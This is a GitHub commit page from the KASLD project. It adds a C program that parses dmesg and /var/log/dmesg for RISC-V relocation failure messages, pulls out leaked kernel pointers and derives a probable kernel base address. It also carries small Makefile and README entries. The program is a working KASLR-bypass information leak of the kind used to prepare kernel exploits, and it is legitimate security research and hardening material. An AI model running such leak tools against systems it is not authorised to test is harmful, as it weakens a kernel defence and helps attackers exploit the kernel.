Skip to content

Commit

Permalink
Add dmesg_riscv_relocation
Browse files Browse the repository at this point in the history
  • Loading branch information
bcoles committed Mar 30, 2024
1 parent 3e60aad commit bc35f87
Show file tree
Hide file tree
Showing 3 changed files with 147 additions and 0 deletions.
2 changes: 2 additions & 0 deletions Makefile
Original file line number Diff line number Diff line change
Expand Up @@ -78,6 +78,8 @@ run : build
@echo
-$(OBJ_DIR)/dmesg_mmu_idmap.o
@echo
-$(OBJ_DIR)/dmesg_riscv_relocation.o
@echo
-$(OBJ_DIR)/entrybleed.o
@echo
-$(OBJ_DIR)/mmap-brute-vmsplit.o
Expand Down
1 change: 1 addition & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -133,6 +133,7 @@ The following KASLD components read from `dmesg` and `/var/log/dmesg`:
* [dmesg_kaslr-disabled.c](src/dmesg_kaslr-disabled.c)
* [dmesg_mem_init_kernel_layout.c](src/dmesg_mem_init_kernel_layout.c)
* [dmesg_mmu_idmap.c](src/dmesg_mmu_idmap.c)
* [dmesg_riscv_relocation.c](src/dmesg_riscv_relocation.c)

Historically, raw kernel pointers were frequently printed to the system log
without using the [`%pK` printk format](https://www.kernel.org/doc/html/latest/core-api/printk-formats.html).
Expand Down
144 changes: 144 additions & 0 deletions src/dmesg_riscv_relocation.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,144 @@
// This file is part of KASLD - https://github.com/bcoles/kasld
//
// Search kernel log for RISC-V address relocation failures.
//
// From arch/riscv/kernel/module.c:
//
// "%s: target %016llx can not be addressed by the 32-bit offset from PC = %p\n"
// "%s: can not generate the GOT entry for symbol = %016llx from PC = %p\n"
//
// clang-format off
// $ dmesg | grep ffffe0
// [ 0.000000] lowmem : 0xffffffe000000000 - 0xffffffe07fe00000 (2046 MB)
// [ 90.803776] nf_tables: target ffffffe0000dbc18 can not be addressed by the 32-bit offset from PC = 000000007c954634
// [ 91.659399] nf_tables: target ffffffe0000dbc18 can not be addressed by the 32-bit offset from PC = 0000000022acd662
// [ 92.516203] nf_tables: target ffffffe0000dbc18 can not be addressed by the 32-bit offset from PC = 0000000022acd662
// [ 93.452368] nf_tables: target ffffffe0000dbc18 can not be addressed by the 32-bit offset from PC = 0000000022acd662
// [ 97.393958] nf_tables: target ffffffe0000dbc18 can not be addressed by the 32-bit offset from PC = 00000000ca60ae01
// ...
// clang-format on
//
// # grep ffffffe0000dbc18 /proc/kallsyms
// ffffffe0000dbc18 t trace_initcall_finish_cb
// ffffffe0000dbc18 T _stext
// ffffffe0000dbc18 T _text
// ffffffe0000dbc18 D __init_end
// ffffffe0000dbc18 D __per_cpu_end
//
// Requires:
// - kernel.dmesg_restrict = 0; or CAP_SYSLOG capabilities; or
// readable /var/log/dmesg.
//
// References:
// https://elixir.bootlin.com/linux/v6.7/source/arch/riscv/kernel/module.c
// https://github.com/riscv-non-isa/riscv-asm-manual/blob/master/riscv-asm.md#assembler-relocation-functions
// ---
// <[email protected]>

#if !defined(__riscv) && !defined(__riscv__)
#error "Architecture is not supported"
#endif

#define _GNU_SOURCE
#include "include/syslog.h"
#include "kasld.h"
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>

unsigned long search_dmesg_riscv_relocation() {
char *syslog;
char *ptr;
char *endptr;
char *target_buf;
const char *needle = ": target ";
int size;
unsigned long addr = 0;
unsigned long leaked_addr = 0;

printf("[.] searching dmesg for RISC-V address relocation failures ...\n");

if (mmap_syslog(&syslog, &size))
return 0;

ptr = strtok(syslog, "\n");
while ((ptr = strtok(NULL, "\n")) != NULL) {
target_buf = strstr(ptr, needle);

if (target_buf == NULL)
continue;

leaked_addr = strtoul(&target_buf[strlen(needle)], &endptr, 16);

if (!leaked_addr)
continue;

if (leaked_addr >= KERNEL_BASE_MIN && leaked_addr <= KERNEL_BASE_MAX) {
// printf("Found kernel pointer: %lx\n", leaked_addr);
if (!addr || leaked_addr < addr)
addr = leaked_addr;
}
}

return addr;
}

unsigned long search_dmesg_log_file_riscv_relocation() {
FILE *f;
char *endptr;
char *line = 0;
size_t size = 0;
char *target_buf;
const char *path = "/var/log/dmesg";
const char *needle = ": target ";
unsigned long leaked_addr = 0;
unsigned long addr = 0;

printf("[.] searching %s for driver RISC-V address relocation failures ...\n",
path);

f = fopen(path, "rb");

if (f == NULL) {
perror("[-] fopen");
return 0;
}

while ((getline(&line, &size, f)) != -1) {
target_buf = strstr(line, needle);

if (target_buf == NULL)
continue;

leaked_addr = strtoul(&target_buf[strlen(needle)], &endptr, 16);

if (!leaked_addr)
continue;

if (leaked_addr >= KERNEL_BASE_MIN && leaked_addr <= KERNEL_BASE_MAX) {
// printf("Found kernel pointer: %lx\n", leaked_addr);
if (!addr || leaked_addr < addr)
addr = leaked_addr;
}
}

fclose(f);

return addr;
}

int main() {
unsigned long addr = search_dmesg_riscv_relocation();
if (!addr)
addr = search_dmesg_log_file_riscv_relocation();

if (!addr)
return 1;

printf("lowest leaked address: %lx\n", addr);
printf("possible kernel base: %lx\n", addr & -KERNEL_ALIGN);
return 0;
}

0 comments on commit bc35f87

Please sign in to comment.